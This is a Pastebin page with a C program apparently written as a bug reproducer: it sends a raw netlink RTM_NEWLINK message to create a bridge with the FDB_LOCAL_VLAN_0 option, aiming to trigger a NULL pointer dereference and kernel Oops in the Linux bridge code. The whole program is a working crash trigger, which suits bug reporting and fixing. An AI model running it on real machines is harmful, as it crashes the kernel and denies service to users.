Guest User

Untitled

a guest
Apr 1st, 2026
57
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 3.03 KB | None | 0 0
  1. /*
  2.  * Reproducer for NULL pointer dereference in br_fdb_delete_locals_per_vlan_port()
  3.  *
  4.  * Trigger: Create a bridge with BR_BOOLOPT_FDB_LOCAL_VLAN_0 via RTM_NEWLINK
  5.  * Requires: CONFIG_BRIDGE_VLAN_FILTERING=n, CONFIG_KASAN=y
  6.  *
  7.  * Compile: gcc -static -o repro_br_fdb repro_br_fdb.c
  8.  * Run:     ./repro_br_fdb
  9.  * Expect:  Kernel Oops (general protection fault in br_fdb_delete_locals_per_vlan)
  10.  */
  11.  
  12. #include <stdio.h>
  13. #include <string.h>
  14. #include <stdlib.h>
  15. #include <unistd.h>
  16. #include <sys/socket.h>
  17. #include <linux/netlink.h>
  18. #include <linux/rtnetlink.h>
  19. #include <linux/if_link.h>
  20.  
  21. struct br_boolopt_multi {
  22.     unsigned int optval;
  23.     unsigned int optmask;
  24. };
  25.  
  26. int main(void)
  27. {
  28.     int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
  29.     if (fd < 0) {
  30.         perror("socket");
  31.         return 1;
  32.     }
  33.  
  34.     struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
  35.     bind(fd, (struct sockaddr *)&sa, sizeof(sa));
  36.  
  37.     char buf[512];
  38.     memset(buf, 0, sizeof(buf));
  39.  
  40.     struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
  41.     nlh->nlmsg_type = RTM_NEWLINK;
  42.     nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK;
  43.     nlh->nlmsg_seq = 1;
  44.  
  45.     struct ifinfomsg *ifi = (struct ifinfomsg *)(nlh + 1);
  46.     ifi->ifi_family = AF_UNSPEC;
  47.  
  48.     char *p = (char *)(ifi + 1);
  49.  
  50.     /* IFLA_IFNAME = "br_crash" */
  51.     int nlen = 4 + strlen("br_crash") + 1;
  52.     *(unsigned short *)p = nlen;
  53.     *(unsigned short *)(p + 2) = IFLA_IFNAME;
  54.     memcpy(p + 4, "br_crash", strlen("br_crash") + 1);
  55.     p += (nlen + 3) & ~3;
  56.  
  57.     /* BR_BOOLOPT_FDB_LOCAL_VLAN_0 = enum 4, bit 4 = 0x10 */
  58.     struct br_boolopt_multi bopt = { .optval = 0x10, .optmask = 0x10 };
  59.  
  60.     /* IFLA_BR_MULTI_BOOLOPT (type 46) */
  61.     char bopt_attr[16];
  62.     int blen = 4 + sizeof(bopt);
  63.     *(unsigned short *)bopt_attr = blen;
  64.     *(unsigned short *)(bopt_attr + 2) = 46;
  65.     memcpy(bopt_attr + 4, &bopt, sizeof(bopt));
  66.     int bpadded = (blen + 3) & ~3;
  67.  
  68.     /* IFLA_INFO_DATA (nested) */
  69.     char data[32];
  70.     int dlen = 4 + bpadded;
  71.     *(unsigned short *)data = dlen;
  72.     *(unsigned short *)(data + 2) = IFLA_INFO_DATA | NLA_F_NESTED;
  73.     memcpy(data + 4, bopt_attr, bpadded);
  74.     int dpadded = (dlen + 3) & ~3;
  75.  
  76.     /* IFLA_INFO_KIND = "bridge" */
  77.     char kind[16];
  78.     int klen = 4 + 7;
  79.     *(unsigned short *)kind = klen;
  80.     *(unsigned short *)(kind + 2) = IFLA_INFO_KIND;
  81.     memcpy(kind + 4, "bridge", 7);
  82.     int kpadded = (klen + 3) & ~3;
  83.  
  84.     /* IFLA_LINKINFO (nested) */
  85.     int llen = 4 + kpadded + dpadded;
  86.     *(unsigned short *)p = llen;
  87.     *(unsigned short *)(p + 2) = IFLA_LINKINFO | NLA_F_NESTED;
  88.     memcpy(p + 4, kind, kpadded);
  89.     memcpy(p + 4 + kpadded, data, dpadded);
  90.     p += (llen + 3) & ~3;
  91.  
  92.     nlh->nlmsg_len = p - buf;
  93.  
  94.     printf("Creating bridge with BR_BOOLOPT_FDB_LOCAL_VLAN_0...\n");
  95.  
  96.     struct sockaddr_nl dest = { .nl_family = AF_NETLINK };
  97.     sendto(fd, buf, nlh->nlmsg_len, 0,
  98.            (struct sockaddr *)&dest, sizeof(dest));
  99.  
  100.     char rbuf[4096];
  101.     int n = recv(fd, rbuf, sizeof(rbuf), 0);
  102.     if (n > 0) {
  103.         int err = *(int *)(rbuf + 16);
  104.         printf("Netlink error: %d\n", err);
  105.     }
  106.  
  107.     close(fd);
  108.     printf("Done (if you see this, no crash)\n");
  109.     return 0;
  110. }
  111.  
Advertisement
Add Comment
Please, Sign In to add comment